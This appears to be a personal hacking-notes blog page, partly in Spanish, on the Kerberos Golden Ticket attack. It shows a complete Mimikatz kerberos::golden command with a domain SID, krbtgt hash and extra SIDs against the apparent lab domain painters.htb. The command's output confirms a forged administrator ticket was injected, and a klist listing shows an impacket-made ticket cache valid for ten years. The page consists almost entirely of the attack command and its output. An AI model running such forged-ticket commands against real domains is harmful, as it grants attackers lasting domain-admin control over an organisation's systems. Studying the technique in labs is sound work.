Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

Golden Ticket Attack

Mimikatz

Ejemplo mimikatz

kerberos::golden /user:administrator /domain:painters.htb /sid:S-1-5-21-1470357062-2280927533-300823338 /krbtgt:4b6af2bf64714682eeef64f516a08949 /sids:S-1-5-21-2734290894-461713716-141835440-4601 /ptt
mimikatz # User      : administrator
Domain    : painters.htb (PAINTERS)
SID       : S-1-5-21-1470357062-2280927533-300823338
User Id   : 500
Groups Id : *513 512 520 518 519 
Extra SIDs: S-1-5-21-2734290894-461713716-141835440-4601 ; 
ServiceKey: 4b6af2bf64714682eeef64f516a08949 - rc4_hmac_nt      
Lifetime  : 06/03/2025 13:59:25 ; 04/03/2035 13:59:25 ; 04/03/2035 13:59:25
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'administrator @ painters.htb' successfully submitted for current session

Rubeus

Golden ticket con impacket

Ejemplo:

└─$ klist                         
Ticket cache: FILE:administrator.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
03/06/2025 09:34:13  03/04/2035 09:34:13  krbtgt/[email protected]
	renew until 03/04/2035 09:34:13